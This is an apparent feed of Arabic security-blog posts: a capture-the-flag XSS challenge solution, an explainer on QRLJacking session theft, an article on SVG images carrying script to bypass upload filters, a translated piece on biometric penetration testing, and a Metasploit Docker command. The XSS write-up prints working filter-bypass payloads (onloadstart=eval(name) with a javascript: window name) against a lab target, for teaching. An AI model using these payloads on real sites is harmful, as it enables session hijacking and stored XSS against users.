Quantcast
Channel: iSecur1ty
Viewing all 466 articles
Browse latest View live

مقال: حل التحدي الرابع وأسماء الفائزين

$
0
0

السلام عليكم

 

بعد تقديم عمر التحدي الثالث للحصول على نتائج للحل لكن لم نحصل الا على ثلاث حلول سوف نقوم الان بحل التحدي بكل طرقه .

 

اولاً : المعلومات الاولية 

 

رابط التحدي

 http://isecur1ty-challenges.com/xss/mid/myvideo.php

النص المصدري للصفحة 

7-7-2016 12-43-46 PM

المتغير المصاب (xss) 

ثانياً: بداية الحل 

الان لنرى ما ستقوم الصفحة بعرضه في حال ادخلنا رقم لنعرف اين يتم الحقن في الصفحة

http://isecur1ty-challenges.com/xss/mid/myvideo.php?xss=123

 

7-7-2016 12-46-01 PM

الحقن في اتربيوت name وهو الاسم في وسم video الان لنضع كود js

7-7-2016 12-49-46 PM

من الحقن الاتي نلاحظ امرين :

  1. الفلتر يحول المعطيات الى htmlentities  لذلك حقن الاقواس <> و حقن ” غير ممكن لان سيتم تحويلها الى htmlentities وتعطيل عملها .
  2. لاحظ ان الكود لم يظهر كله وتم قص جزء منه لذلك فالمتغير محدود جداً ولا يمكن حقن العديد من الامور به وغير ممكن حقن كود طويل .

 

الان بعد ان عرفنا الكثير من المعطيات لنقوم بعمل البايلود اللازم .

الان لناتي هل في الوسم video اي عمليات تنفذ كود javascript الجواب نعم لكنه يعمل فقط في متصفح اوبرا

 

http://isecur1ty-challenges.com/xss/mid/myvideo.php?xss=”poster=javascript:alert(1)//x

 

7-7-2016 12-57-28 PM

 

لم يظهر الكود كاملاً بالاضافة الى انه تم تاشيره من قبل المتصفح على انه هجوم جافا سكربت  لذلك نلغي فكرة الposter

 

نرجع الى الevent handler  الخاصة بجافا سكرتب مثل onerror, onload .. etc لكن في مقال التحدي الشروط الاساسية :

  1. تدخل المستخدم غير مسموح لذلك وجب علينا ان نجد event handler من غير تدخل المستخدم او طريقة لتشغيله
  2. يجب اظهار دومين الموقع ولذلك يجب ان تحتوي رسالة الalert دومين الموقع يمكن ذلك عن طريق domain او document.domain  . وكلا الكلمتين طويليتن سنواجه مشكلة هنا .

 

ايجاد حدث مناسب 

الان لنبحث عن event في جافا سكربت من دون تدخل المستخدم هناك العديد منها لكن يمكن جعل الاحداث غير التلقائية تلقائية ببعض الخدع لكن بما ان الكود قصير لايمكن استخدامها .

 

لنعرض بعض الاحداث التلقائية التي يمكن ان تضع في وسم video  :

onload ,onerror ,onshow ,onloadstart,onloadeddata,onprogress,oncanplay

 

سوف نقوم الان بوضع بعضها لنرى اي منها سيعمل :

onload  مفلتر (xss-event)

7-7-2016 1-09-21 PM

onerror  مفلتر (xss-event)

onshow  مفلتر (xss-event)

onloadeddata  مفلتر  (xss-event)

onprogress مفلتر (xss-event)

oncanplay  مفلتر (xss-event)

onloadstart  غير مفلتر !! 

 

الان عرفنا ان حدث onloadstart   غير مفلتر لنقوم الان بالاستفادة منه

7-7-2016 1-59-14 PM

 

 

 

 

المتغير طويل جداً ولا يمكن تنفيذه بالاضافة الى انه تم ابطاله بواسطة حماية المتصفح .

 

مفتاح الحل 

هناك طرق لوضع كود طويل في كود قصير عن طريق خصائص الصفحة مثل ما فعلت في مقال اختراق حساب medium هنا

 

في هذا التحدي ستحتاج خاصية من الصفحة و دالة من دوال جافا سكربت وتعد من اخطر الدوال.

خاصية الصفحة هي الاسم او name هي اقصر خاصية ( حسب علمي )

والدالة هي eval .

 

دالة eval 

دالة eval هي دالة خطيرة لانها تنفذ الstring ككود جافا سكربت وهذا امر خطير جداً لانه من الممكن ادخال نص وتنفيذه كجافا سكربت

باعتبار دالة Name تجعل الاسم string سوف نقوم بتنفيذها على شكل كود باستخدام دالة eval

 

هناك العديد من الطرق التي يمكن ان تقوم بعمل اسم للصفحة المفتوحة سوق نقوم بابسطها هنا للعلم هناك ثلاث طرق .

 

طريقة 1 

استعمال وسوم الرابط anchor

بعد ان عرفنا ادوات التحدي الان لنقوم بتجميع الباي لود

http://isecur1ty-challenges.com/xss/mid/myvideo.php?xss=%27%27onloadstart=eval(name)x

الطول مقبول والفلتر لم يقم بكشفه الان لنضع كود جافا سكربت في خاصية name

 x<a href=”http://isecur1ty-challenges.com/xss/mid/myvideo.php?xss=”onloadstart=eval(name)&video=http://123.com” target=’javascript:alert(domain)’>click here</a>x

في خاصية target نضع الكود وحين يفتح الصفحة الجديدة ستكون حاملة اسم javascript:alert(domain)xءء

وحين نذهب للصفحة الاخرى سوف تقوم دالة eval بتنفيذ اسم الصفحة كجافا سكربت وبذلك تم حل التحدي 🙂

طريقة 2 

يمكنك عمل ايفريم ووضع الاسم له على الشكل التالي

 

 

<iframe name=”javascript:alert(domain)” src=”http://isecur1ty-challenges.com/xss/mid/myvideo.php?xss=%27%27onloadstart=eval(name)”></iframe>

اذا جربته لن يعمل لانه تم وضع مصيدة للiframe يمكن تخطيها سوف نقوم بشرح الامر لاحقاً

اسماء الفائزين 

 

تحياتي وتحيات فريق isecur1ty نلتقي في تحديات جديدة


مقال : هجوم QRLJacking

$
0
0

السلام عليكم

قبل فترة قصيرة طرح الباحث الامني المصري محمد عبد الباسط ورقته البحثية في موقع OWASP حول نوع جديد من هجمات الهندسة الاجتماعية سوف نقوم بشرح مبسط له ويمكنكم الاطلاع على الهجوم كاملاً باللغة الانكليزي من هنا

سنحتاج الى فهم بعض المصلطحات وميكانيكية عمل بعض الامور لفهم الهجوم سنبدأ بها  .

 

اولاً : المصطلحات 


QR Code : اختصار لQuick Response code  ويسمى رمز الاستجابة السريع وهو نوع من خوارزمية الرموز الشريطية او ما يسمى بالباركود .  يتكون الرمز من وحدات سوداء مرتبة على شكل مربع على خلفية بيضاء. يمكن أن تكون المعلومات المشفرة أي نوع من البيانات (على سبيل المثال، الأعداد الثنائية، الأرقام، أو رموز كانجي). (ويكيبيديا)

الصورة الاتية تعد QR Code

Ar.wikipedia.comQRcode

كمية البيانات التي يمكن تخزينها في رمز الاستجابة السريع يعتمد على كمية الأحرف أو الرموز والإصدار ومستوى تصحيح الخطأ.

ميكانيكية تسجيل الدخول بوساطة QR Code 

سناخذ مثال بسيط في عملية تسجيل whats app

1- تنزيل التطبيق سوف يقوم بارسال رسالة الى رقم الهاتف من اجل تاكيده .

2- بعد تاكيد الرقم سوف يفتح التطبيق في الهاتف .

3- عند دخولك لموقع التطبيق من اجل تسجيل الدخول باستخدام المتصفح , يقوم الموقع بتوليد QR Code يحتوي على جلسة  في المتصفح .

4- حين تقوم بعمل سكان من الهاتف المسجل ل QR Code  سوف يقوم التطبيق في الهاتف بقراءة الQR code  ونقل الجلسة الحالية في التطبيق الى هذا المتصفح الذي يستعمل الQR Code الذي تم عمل سكان له .

5- المتصفح سيقوم باستلام معلومات عن طريق التطبيق يامره بفتح الحساب الذي مفتوح بالتطبيق بالمتصفح .

6- تم تسجيل الدخول وعرض الرسائل .

 

SSO : اختصار ل Single Sign On وهي خاصية دخول متعدد لعدة انظمة مترابطة ولكن مستقلة برمز واحد فقط دون الحاجة الى رموز دخول متعددة مثلاً حين تدخل الى ايميلك في جيميل فانت تسجل الدخول الى حساب كوكل فقط وستتاح لك كافة خدمات كوكل الاخرى ب SSO .

Clickjacking : شرحناه مسبقاً في موضوع مستقل يمكنك الاطلاع عليه من هنا  .

ان QR Code محمية لانه لا يمكن تخمينها او فك تشفيرها في حالة النقل بين الشبكات فهي تستخدم AES 128 في تشفير وفك تشفير في بعض التطبيقات .

الخبر الجيد ان QRLJacking هو وسيلة لتخطي حماية الQR باستخدام الهندسة الاجتماعية .

 

ثانياً : هجوم QRLJacking


QRLJacking او Quick Response Code Login Jacking هو نوع من اساليب الهندسة الاجتماعية لتخطي حماية التطبيقات والمواقع التي تستعمل QR Code في تسجيل الدخول . بصورة اوضح يتم سرقة جلسة الضيحة عن طريق دفعه الى عمل سكان من هاتفه لQR Code .

 

الهجوم بخطوات : 

1- المهاجم يعمل جلسة في موقع يدعم الQR Code سوف يقوم الموقع بتوليد QR Code في المتصفح .

2- يقوم المهاجم بعمل ارسال لصورة الQR Code للضحية ليقوم بمسحها باحد طرق الهندسة الاجتماعية .

3- حين يقوم الضحية بمسحها سوف يقوم التطبيق الموجود في جهاز الضحية بارسال امر فتح حساب الضحية بالهاتف في المتصفح الذي ولد هذا الQR Code  .

4- المهاجم سيدخل الى حساب الضحية بمتصفحه الشخصي .

Slide1

أفكار لاستغلال QRLJacking 

هناك العديد من الطرق التي يمكن ان تجعل هذا الهجوم قابل للتنفيذ وليس فقط سيناريو على ورق . منها :

1- في حالة ثبوت الصورة المسخدمة يمكن استخدام الهندسة الاجتماعية لارسال الصورة وجعل المستخدم يمسحها باقناعه في الايميل او اي مكن اخر .

2- في حالة حصول المهاجم على XSS او HTML injection يمكنه حقن الكود الخاص بالاستغلال في الموقع وجعل المستخدم يقوم بعمل سكان للQR CODE لان المستخدم يثق في الموقع الذي تم حقنه .

3- SSL Stripping و MITM في حالة كونك على شبكة محلية وتريد ان تهاجم شخص موجود على نفس الشبكة يمكنك استعمال MITM لتزوير محتوى المواقع التي تعمل في HTTP .

الان لنذكر بعض المواقع والتطبيقات المصابة

 

مواقع وتطبيقات مصابة 

  • مواقع
    • Yandex Money
    • TenPay
    • Alibaba
    • Aliexpress
    • Yandex Mail
    • QQ Mail
    • Alimama
  • تطبيقات
    • WeChat
    • Weibo
    • Line
    • WhatsApp

هذه بعض المواقع والتطبيقات المصابة وبالاضافة الى انه اي موقع يستخدم QR CODE .

 

كلمة اخيرة 


في المرة القادمة التي تبحث فيها في موقع وتجد ان الموقع يدعم QR Code اول شيء ستقوم به هو التفكير في QRLJacking وستبلغ عنها كنوع جديد من الافضل ان تبدا البحث الان 🙂 .

نحن فخورين بما قدمه محمد عبد الباسط من ورقة بحثية ليتم اعتمادها في موقع OWASP

 

روابط مفيدة 

 

تحياتي وتحيات فريق isecur1ty

فيديو : اعداد WPA/WPA2 Enterprise على الشبكة باستخدام freeradius

$
0
0

في هذا الفيديو سوف نتعرف على WPA-Enterprise وكيف اعداده على الشبكة .

استخدمت ubuntu server كـ radius server وكذلك wireless AP اثناء الشرح .

 

 

 

 

 

 

فيديو : الدرس الرابع من دورة إستخدام python في إختبار الإختراق

$
0
0

إستكمالاً للفيديوهات الخاصة بدورة إستخدام Python في إختبار الإختراق ، أشارك معكم الفيديو الرابع لهذه الدورة ، والذي تحدث فيه عن الجُمل المُخصصة للتكرار مثل For & While ، وكذلك كمثال قمنا ببرمجة سكربت يقوم بتوليد أرقام هواتف لشركة إتصالات مُعينة في بلد مُعين ، كذلك قمنا ببرمجة سكربت يقوم بتوليد أرقام ip بشكل مُتسلسل.

PT-Python4

بإذن الله إبتداءاً من الفيديو القادم سوف نبدأ بالأمور العملية بإستخدام المكتبات والقيام بعمليات إختبار إختراق حقيقية من خلال Python على المُختبرات الخاصة ب iSecur1ty.

أتمنى أن يكون هذا الفيديو مُفيد لكم ولا تنسوا مُتابعة الفيديوهات القديمة للدورة ولا تنسوا مُشاركتنا الحلول الخاصة بالمثال الذي طلبتهم منكم 🙂

مقال: مقدمة عن BioCryptography وعن طرق اختبار اختراقها

$
0
0

في عالم الأمن هناك العديد من الأدوات التي تكون  تحت تصرف موظفي تكنولوجيا المعلومات والتي يمكن استخدامها لمكافحة جميع انواع الجرائم الإلكترونية. وفيما يتعلق بالوصول الفعلي والبطاقات الذكية وال FOB’s  فهذه الأدوات تتوفر للمساعدة في تخفيف احتمال وقوع هجوم الهندسة الاجتماعية. اما بالنسبة فيما  يتعلق  بالوصول المنطقي فأجهزة تسلل الشبكة و الجدران النارية والروترات ، جميعها جاهزة ليتم تثبيتها واستخدامها.

ولكن، هناك مشكلة واحدة مع كل من هذه الأدوات المذكورة أعلاه: إلى حد ما فجميع هذه الادوات يمكن اختراقها  او حتى التلاعب فيها ،  بحيث ان قراصنة الحاسوب يمكنهم أيجاد طريق إلى مؤسسة ما  بسرعة وسهولة  .

على سبيل المثال، البطاقة الذكية يمكن بسهولة فقدانها  أو سرقتها . أو حتى حزم البيانات يمكن إرسالها على أنها موظف شرعي يحاول الوصول.

ولكن، هناك تكنولوجيا وحيدة للأمن  والتي لا يمكن الغش فيها أو الخداع. ونتيجة لذلك، يمكن أن توفر دليل إيجابي  100٪ من هوية المستخدم النهائي.  وتعرف هذه التكنولوجيا بإسم Biometric

biometrics-emv

نظرة عامة عن Biometric :


يتعلق  علم Biometric  بتأكيد هوية الفرد على أساس الخصائص الفسيولوجية الفريدة   أو السلوكية المميزة التي يملكونها. على سبيل المثال :

  •  بنية من التفصيلات تم العثور عليها في بصمة الإصبع
  • • الشكل الهندسي لليد.
  •  تجمع من الأوعية الدموية في الجزء الخلفي من العين والتي تشكل شبكية العين
  •  ناقلات التباعد المختلفة، وتوجه الميزات المجهرية التي توجد في قزحية العين.
  •  المسافات الملموسة  بين ملامح الوجه البارزة مثل الذقن و العينين و الأنف و الشفاه
  •  التغير في  نبرات الصوت
  •  نمط العروق  تحت راحة اليد
  •   النمط  الإيقاعي عند الكتابة على لوحة المفاتيح  لجهاز ااكمبيوتر .
  •  الطريقة المعينة لكتابة  توقيع ما

في معظم الحالات، الصور المتعددة أو التسجيلات (مثل في حالة الصوت) لا بد من التقاطها بواسطة جهاز Biometric . من هنا، يتم إنشاء صورة مركبة، وبعد ذلك يتم استخراج  ميزات فريدة من نوعها باستخدام الخوارزميات المناسبة.

 Biometric Template 

يتم استخدام هذه الميزات الفريدة  لإنشاء ما يعرف باسم “Biometric Template ” وهو عبارة عن ملف حسابي يعرض الصورة المركبة التي تم التقاطها  من قبل جهاز Biometric . على سبيل المثال، في حالة بصمات الأصابع و اليد،  يتم إنشاء ملف حسابي ثنائي , اما  مع القزحية و شبكية العين،  تستخدم صيغ complex Gabor Wavelet ، بشأن الوجه، يتم استخدام  القيم الذاتية . وبالنسبة إلى الكتابة على لوحة المفاتيح  لجهاز الكمبيوتر أو توقيع اسم احدهم يتم استخدم  statistical profiling، في المقام الأول  نماذج ؛Markov . ويجدر الإشارة إلى أن هناك نوعان من Biometric Templates  التي يتم إنشائها . والمعروفة بإسم  “Enrollment Template” و “Verification Template”  عندما يسجل  شخص  في نظام Biometric  يتم إنشاء Enrollment Template ، وعادة ما يتم تخزينه في قاعدة البيانات.

إذا كان هناك شخص يرغب في الدخول المادي أوالدخول المنطقي  ،  عليه أن يقدم صفات فريدة من نوعها مرة أخرى إلى نظام Biometric . في هذه المرحلة، ثم يتم إنشاء  Verification Template  . ثم تتم مقارنة ال Templates  مع  بعضها البعض، وإذا كان هناك علاقة إحصائية وثيقة بينهما ،  يتم منح الوصول إلى  الأفراد الذين يرغبون به.
على الرغم من أن  Biometric Templates تعتبر صعبه جدا على لعمل الهندسة العكسية عليها (وبعبارة أخرى، صعب ان نقوم بتفكيك الملفات الحسابية لخلق صورة مركبة)، فإنها لا تزال بحاجة إلى مزيد من الحماية من خلال استخدام BioCryptography.

مقدمة إلى biocryptography:


biocryptography هو علم يقوم  بتشويش Biometric Template  في نقطة المنشأ  (المعروف أيضا باسم “التشفير”)، و يزيل التشويش عند الوصول الى وجهته (المعروف أيضا باسم “فك التشفير”).

أحد الأهداف الرئيسية  لbiocryptography هو ضمان ان Biometric Template  اثناء عملية العبور، لا يزال في  شكل غير مقروء   وأن  لا يكون معترضا خفيةً من قبل طرف ثالث.

للقيام بعملية التشويش وازلة التشويش على Biometric Template  ، يتم استخدام المفاتيح . المفاتيح نفسها خوارزميات حسابية، وتعرف بإسم  “.Ciphers” من الواضح أن كلما زاد تعقيد ال Cipher  زادت صعوبة اختراقه.

على الرغم من أن هناك العديد من أنواع المفاتيح التي يمكن استخدامها في عملية biocryptography، الا ان  الأكثر استخداماً  هما  Symmetric Algorithms  و Asymmetric Algorithms. وسنتكلم عنهما بالتفصيل على  النحو التالي:

• symmetric  Algorithms : مع هذا، فإن نفس المفتاح يستخدم على حد سواء  في تشفير و فك تشفير ال Biometric Template . على الرغم من أن هذه يوفر راحة كبيرة، الا أن  المخاطر الأمنية التي المتعلقة فيه  واضحة تماما. على سبيل المثال، إذا تم اختراق  هذا النوع من الخوارزميات من قبل القراصنة ، فيمكن اختراق المفتاح  بسهولة جدا، والبيانات التي الموجودة في Biometric Template  يمكن الاستفادة منها بسرعة كبيرة.

وبالتالي، فإن الطريقة الوحيدة للمحافظة على أمن  المفتاح  هي التأكد من أن المرسل والمتلقي فقط يعلمون عنه . إذا تم الكشف عن اي معلومات متعلقة به،  فإن أمن المفتاح بعد ذلك  سيكون معرضاً للخطر بنسبة 100٪ .

• Asymmetric Algorithms : مع هذا، يتم اشتقاق مفتاحين هما   “Public Key” و “private key.” الأول  يستخدم لتشفير Biometric Template ، والثاني  يستخدم لفك التشفير. ونتيجة لذلك، فإن الأمن هنا أعلى بكثير هنا مقارنة بإستخدام  Symmetric Algorithms . هذا لأن Private  Key  لا يتم إحصائية  استنادا إلى معرفة Public  Key

ويتم استخدام طريقة  اخرى للحفاظ على  الأمن معروفة باسم ” Hashing Functions” . كما تساعد على التاكد من السلامة الفعلية ل Biometric Template  . على سبيل المثال، وبمجرد أن  يصل Biometric Template إلى نقطة الوجهة ، يتم تضمين Hashing function  معها .  وأثناء عملية النقل إذا  لم تتغير القيم المستمدة منها من نقطة المنشأ فيمكن  للمرء حينها أن يتأكد  أن Biometric Templates بقيت سليمة، ولم تتغير بشكل ضار.

مثال على منهج Asymmetric BioCryptography  The public key infrastructure IPK:


في biocryptography، واحدة من أكثر الأشكال  المستخدمة على نطاق واسع من Asymmetric approach  هي  Public Key Infrastructure، المعروفة أيضا باسم “PKI.” وهي عادة  ما تتكون من المكونات التالية، على افتراض أن بنية شبكة خادم العميل  يتم نشرها:

  •  الشهادات الرقمية:

وتعتبر  هذه نسخة pki من كلا المفتاحين public key و private key .  وتحفظ هذه الشهادات داخل جهاز Biometric  نفسه، فضلا عن الخادم المركزي، الذي يضم قاعدة بيانات لتخزين Biometric Template . تتم معالجة معاملات  التحقق و / أو التعريف أيضاً في الخادم.

  • أجهزة Biometric  / الخوادم المركزية :

سيكون هذا عادة جهاز Biometric  (مثل  نظام التعرف على بصمات الأصابع ،  نظام  التعرف على قزحية العين، وما إلى ذلك). وفي نهاية المطاف، سوف تكون جميعها متصلة بالخادم المركزي .

  • The Certificate Authority، والمعروفة أيضا باسم “CA”:

ألكثير من  ال PKI المعقدة تستخدم ما يسمى  “CA”  ويعتبر هذا الكيان غالباً  كطرف ثالث موثوق به، من حيث تصدر الشهادات الرقمية ويتم التحقق منها. يمكن النظر في CA على أنها “طرف ثالث غير متحيز”، ونتيجة لذلك، ينظر إلى السلامة الهيكلية للشهادات  الرقمية بثقة  اكبر .

على سبيل المثال، دعونا نفترض أن لدينا سلسلة من انظمة التعرف على بصمات الأصابع  و أنظمة التعرف على قزحية العين  جميعها متصلة معا، وفي المقابل، مربوطة بخادم مركزي. بمجرد انتهاء المستخدم النهائي  من عملية التسجيل في أي من هذه الأجهزة، فإن CA سوف تقوم بتشفير ال Enrollment Template  بإستخدام   public based Digital Certificate  . وبمجرد ان يشق ال Templates  طريقه عبر متوسط الشبكة  إلى الخادم المركزي، فإنه سوف تقوم بفك تشفيرها بإستخدام  Private  based Digital Certificate  ، وبالتالي، تخزن في قاعدة البيانات. إذا كان نفس المستخدم النهائي يرغب في الحصول إما على الوصول المنطقي او المادي  إلى احد  الموارد، فسيتم تشفير Verification Template  بإستخدام  public based Digital Certificate ، ومن ثم  فك التشفير  في الخادم المركزي  باستخدام Private based Digital Certificate  .  بعد ذلك يتم مقارنة ال Templates  مع بعضها البعض، وإذا تم اعتبارها إحصائيا قريبة بما فيه الكفاية، فسوف يستطيع  حينها المستخدم النهائي من الوصول .

اختبار ختراق  على Biometric Technology :


هناك أربعة مجالات التي يمكن أن تحدث اختبار الاختراق، وهي  على النحو التالي:

• Algorithms Testing :

وهي خوارزميات حسابية  والتي تعتبر أساس  أي  جهاز Biometric . بعد كل شيء يتم استخراج  الميزات الفريدة إما من الخصائص  الفسيولوجية أو السلوكية ،  ومن ثم إنشاء  Enrollment و Verification Templates للقيام بمقارنة لاحقاً  . ولذلك، فإنه ليس مهماً  فقط لإختبار قوته ، ولكن أيضا لضمان أن  تكون دليلاً  على “القرصنة” قدر المستطاع .

 

• Technology Testing :

ويتم تطبيق اختبار الاختراق هنا لاكتشاف أي ثغرات أمنية في تطبيقات البرامج التي تم تصميمها خصيصا لنظام Biometric  معين. الهدف الأساسي من الاختبارات بسيط جدا:وهو لاكتشاف أي فخاخ خفية والتي ربما تكون قد تركت وراءها إما عن قصد أو عن غير قصد.

 

• scenario Testing :

هناك العديد من تطبيقات Biometric Technology،  ولكن التطبيقات  الرئيسية منها تشمل كلا من دخول  الوصول الفعلي ودخول الوصول  المنطقي ، والوقت / الحضور. الهدف من اختبار الاختراق في هذه الفئة  هو لاكتشاف أي ضعف أمني في نظام Biometric   عندما يتم نشره في محيط تطبيق معين. على سبيل المثال،  فإن اختبار الاختراق  يمكن أن يجرى عند محيط تسجيل الدخول ، لتحديد فعالية كلا من نظام التعرف على بصمات الأصابع  أو  نظام التعرف على  قزحية العين عندما يتم استخدامهما للمساعدة في حماية بيانات اعتماد تسجيل الدخول للموظف.

 

• vulnerability Testing :

تم اجراء اختبار الاختراق في هذه الفئة على الأجهزة  الفعلية نفسها. على سبيل المثال، من المهم التأكد  كيف يمكن لجهاز  Biometric ان يتم اختراقه او إحباطه، أو حتى فشله من تلقاء نفسه. وفي كيان  Vendor-neutral  تجري هذه الأنواع من الاختبارات تعرف بإسم  International Biometric Group  . تقوم بتنفيذ محاكاة هجمات  الانترنت  مثل محاكاة هجمات انتحال الشخصية وهجمات  إعادة الإرسال ، وهجمات التواصل ، و محاولات أخرى  ذات صلة لإحباط نظام Biometric  أو التحايل عليه .

الاستنتاجات:


وخلاصة القول , تعرفنا على مايسمى ب Biometric Technology  ، وما هي البنيات التقنية ل Biometric Template . وفهمنا ما يقصد ب BioCryptography، فضلا عن أمثلة لأنواع اختبارات الاختراق التي يمكن أن تجرى على نظام Biometric .
وكما ذكر ، منذ  ان Biometric Template  ليست سوى ملفات حسابية، فنظرياً إنها صعبة على آلية  الهندسة العكسية . ولكن مثل أي شيء آخر موجود في بيئة الشبكات، فإن Biometric Template  هي أيضا عرضة للهجمات السيبرانية، حتى عندما يتم تطبيق مبادئ BioCryptography.
لذلك، وسيلة أخرى لحماية Biometric Template  على مستوى أعمق بكثير تكمن في استخدام الشبكة الافتراضية الخاصة، أو “VPN”. في هذا السيناريو، لن تيتم تشفير Biometric Template فقط بل سيتم وضعها في حزمة بيانات أخرى. من خلال جعل أيضا استخدام بروتوكول نفق أمن بروتوكول الإنترنت، فإن قالب الهوية تصبح بعد ذلك غير مرئي للعالم الخارجي.

ترجمة لمقال : BioCryptography and Biometric Penetration Testing لصاحبها Ravi Das

مقال : لماذا صور SVG خطيرة للاستخدام

$
0
0

السلام عليكم

 

اليوم سنشرح احد انوع الصور المستخدمة في الويب الحديث . ونرى لماذا استخدامها غير امن لموقعك او تطبيقك . سوف نقوم بشرح مبادئ SVG اولاً .

 

أولاً : مقدمة الى صور SVG  

 

SVG هي اختصار ل Scalable Vector Graphics  . فائدة SVG هي رسم متجهات الرسوم عن طريق XML .

 

يمكن ان نرسم صورة لشعار التوازن  باستخدام XML :

 

http://isecur1ty-vulnerable-lab.com/blog/examples/svg/good.svg

يمكنك عمل عرض للكود المصدري لترى ان النقاط تم تحديدها بXML

لو اردت رسم دائرة يمكنك استعمال الكود الاتي في HTML

<!DOCTYPE html>
<html>
<body>

<h1>My first SVG</h1>

<svg width=”100″ height=”100″>
<circle cx=”50″ cy=”50″ r=”40″ stroke=”green” stroke-width=”4″ fill=”yellow” />
Sorry, your browser does not support inline SVG.
</svg>

</body>
</html>

تبدا صور svg بوسم <svg> وسبب استخدامها عدة اسباب :

  • متعدد الاستعمالات .
  • سهولة الحصول على القوالب .
  • مضغوط .
  • قابلة للاستعمال مع CSS .
  • مفتوحة للجميع .
  • جيدة جدا للاستخدام في الهواتف للاشكال والصور .
  • سهلة التحليل وعملية .

 

ثانياً : تاريخ SVG

أول مرة تم اقتراحها من قبل بعض اعضاء W3C في عام 1998 . تم اشتقاقها من ادوبي Postscript  و VML  .

تم نطويرها والعمل عليها في 1999 .

SVG 1.0 انطلقت في 4 سبتمبر 2001

SVG 1.1 انطلقت في 15 يناير 2003

SVG 1.1 الاصدار الثاني انطلق في 16 اغسطس 2011

 

الاصدار 1.2 لا يزال كمسودة تحت التطوير .

 

انواع المتصفحات التي تدعم SVG

  • Gecko
  • Webkit
  • Presto
  • Trident

 

 

ثالثا: مميزات صور SVG

 

  • الاشكال الهندسية : الدوائر , المربعات الخطوط وغيرها .
  • خطوط SVG .
  • الروابط .
  • الانميشن والتحولات الشكلية .
  • البيانات المتعددة او الMeta-data
  • تنفيذ السكربتات والاحداث(الهجوم هنا)
  • عالية الدقة .
  • يمكن تحريرها من اي محرر نصوص .

 

 

 

الان لناتي للجانب المهم في SVG للمختبرين الامنين

 

رابعاً : SVG تحت الهجوم ! 

الجزء الاهم في ملفات SVG انها تعتبر حلقة وصل بين الصور وبين صفحات HTML المعلمة بXML   .

 

اولا يجب ان نعرف ما هو MIME type ؟

MIME type : ويسمى media type وعادة ب content type في حال ارسال الملفات عبر الفورم ورفعها يتم تعريف الملف المرفوع بنوع الملف ولكل ملف MIME خاص به

مثلاً :

  • application/json لملفات json
  • text/html لصفحات HTML
  • image/png لصور png

في حالة SVG يكون الMIME هو image/svg+xml  هذا النوع مفيد جداً لانه سيفيدك في تخطي حماية رفع الملفات في اكثر الاحيان

المطور لا يكتب كل الMIME TYPE المسموح فهو يسمح لاي “صورة”  ان ترفع لذلك يقوم بعمل الفتلر بالشكل image/~x وهذا يعني انه اي ملف نوع الMIME الخاص به يبدا ب image مسموح رفعه . وبسبب جهل اكثر المطورين ان صور SVG قد تحتوي على كود js فهم يسمحون بها مثال على ذلك احد اشهر المطورين في سكربت airship حيث قمت بابلاغه حول هذه المشكلة وكان متعجب من ان هذا الامر مسموح تنفيذ اكواد js في ملف صورة . 

 

يمكنك الاطلاع على التقرير من هنا .

 

حتى ان منصة hackerone كتبوا مقال حول التقرير الخاص بي وناقشوا به العديد من الامور حول فكرة صور SVG .

 

يمكنك الدخول عليها من هنا

https://hackerone.com/blog/Hacktivity-Highlights:-XSS-via-SVG

 

الان لناخذ مثال على صورة SVG تنفذ كود JS على شكل رسالة

 

8-12-2016 4-08-36 PM

 

يمكنك تجربتها من الرابط التالي

http://isecur1ty-vulnerable-lab.com/blog/examples/svg/bad.svg

 

الصورة تحتوي على الكود التالي

 

8-12-2016 4-11-57 PM

 

 

لاحظ ان الكود يحتوي على سكربت وصيغة الصورة svg والMIME هو image/svg+xml  هذا يجعل هذا الهجوم مناسب لعمل stored XSS

 

يمكن وضع اكواد js في svg عن طريق احداث js او href الخاصة بوسم a او عدة طرق اخرى في xml

 

كيف يتم تشغيل svg ؟

  • الدخول المباشر الى ملف svg عن طريق المتصفح .
  • وسم svg في html .
  • استدعاء الصورة عن طريق وسم img (يجب ان لا يشغل js ).
  • يمكن ايضا استدعاء الصورة عن طريق object .

 

svg مع XSS : 

  • svg المستخدمة في وسم صورة لا تشغل js نفس الحال في خطوط svg و استعمال svg عن طريق CSS .
  • svg المستخدم في وسم iframe او embed او object يمرر js ويتم تنفيذه .

 

كل متصفح له خصائصه التي تختلف بعرض SVG وهناك امر مهم ان ملفات SVG يمكن ان تعمل محلياً لذلك في حالة تنزليها وعرضها محليا ايضاً ممكن ان تسبب خطر على المستخدمين .

 

كلمة اخيرة 

اذا كنت مطور ويب او تعمل على برنامج رفع حاول تجنب السماح لصور SVG ان ترفع على موقعك . يمكنك ايضا استخدام svg في موقع في حال كانت static لكن لا تسمح برفعها . في حال احتجت الى اشكال وقابلية SVG اجعل عرضها عن طريق وسم IMG وامنع الوصول المباشر لها عن طريق تحميلها واضافة header يمنع المتصفح من عرض الملف في السيرفر .

 

مصادر 

http://www.w3schools.com/svg/

https://hackerone.com/reports/148853 

 

 

تحياتي وتحيات فريق isecur1ty

مقال : تشغيل Metasploit Framework ك Docker container دون متاعب التثبيت

$
0
0

Metasploit Framework  هي أداة قوية مفتوحة المصدر لاختبار الاختراق. سواء كنت تريد استخدامها للعمل أو تود فقط في تجريبتها، يمكنك تشغيل Metasploit Framework  في  Docker container  دون الحاجة للتعامل مع متاعب تثبيت الكود وتبعياته . صورة  remnux / metasploit”  Docker” تتوفر كجزء من مجموعة REMnux، وذلك بفضل جهود Jean Christophe Baptiste في الترتيب .

الإرشادات والأمثلة التالية توضح كيف يمكنك البدء باستخدام  Metasploit Docker container هذه في المختبر وكذلك في خادم يمكن الوصول إليه بشكل عام. توفر ال Containers   سطر الأوامر نسخة Metasploit Framework  من الأداة. إلا أنها تفتقر إلى واجهة على شبكة الإنترنت والتي يمكنك  الحصول عليها إذا  قمت بتثبيت نسخة Free Community ، والتي قد تحتاج إلى تسجيلها لدى Rapid 7 .   ان امكانيات سطر الأوامر من Metasploit Framework  فعالة جدا وتصلح مهام  اختبار اختراق  تنطوي على تشغيل الأداة على نظام بعيد.

 

كيفية تشغيلMetasploit  Framework Docker container  :


للاستفادة من صورة  Metasploit Framework  Docker container ، كل ما تحتاجه هو نظام قوي بما فيه الكفاية، ومتصلا بشبكة الإنترنت و يحتوي على Docker  مثبتا عليه. عند تشغيلك لأمر مثل الذي أدناه على مثل هذا المضيف، فإنه سيتم تلقائيا تحميل صورة من  مستودع remnux وتشغيلها:

sudo docker run –rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

 

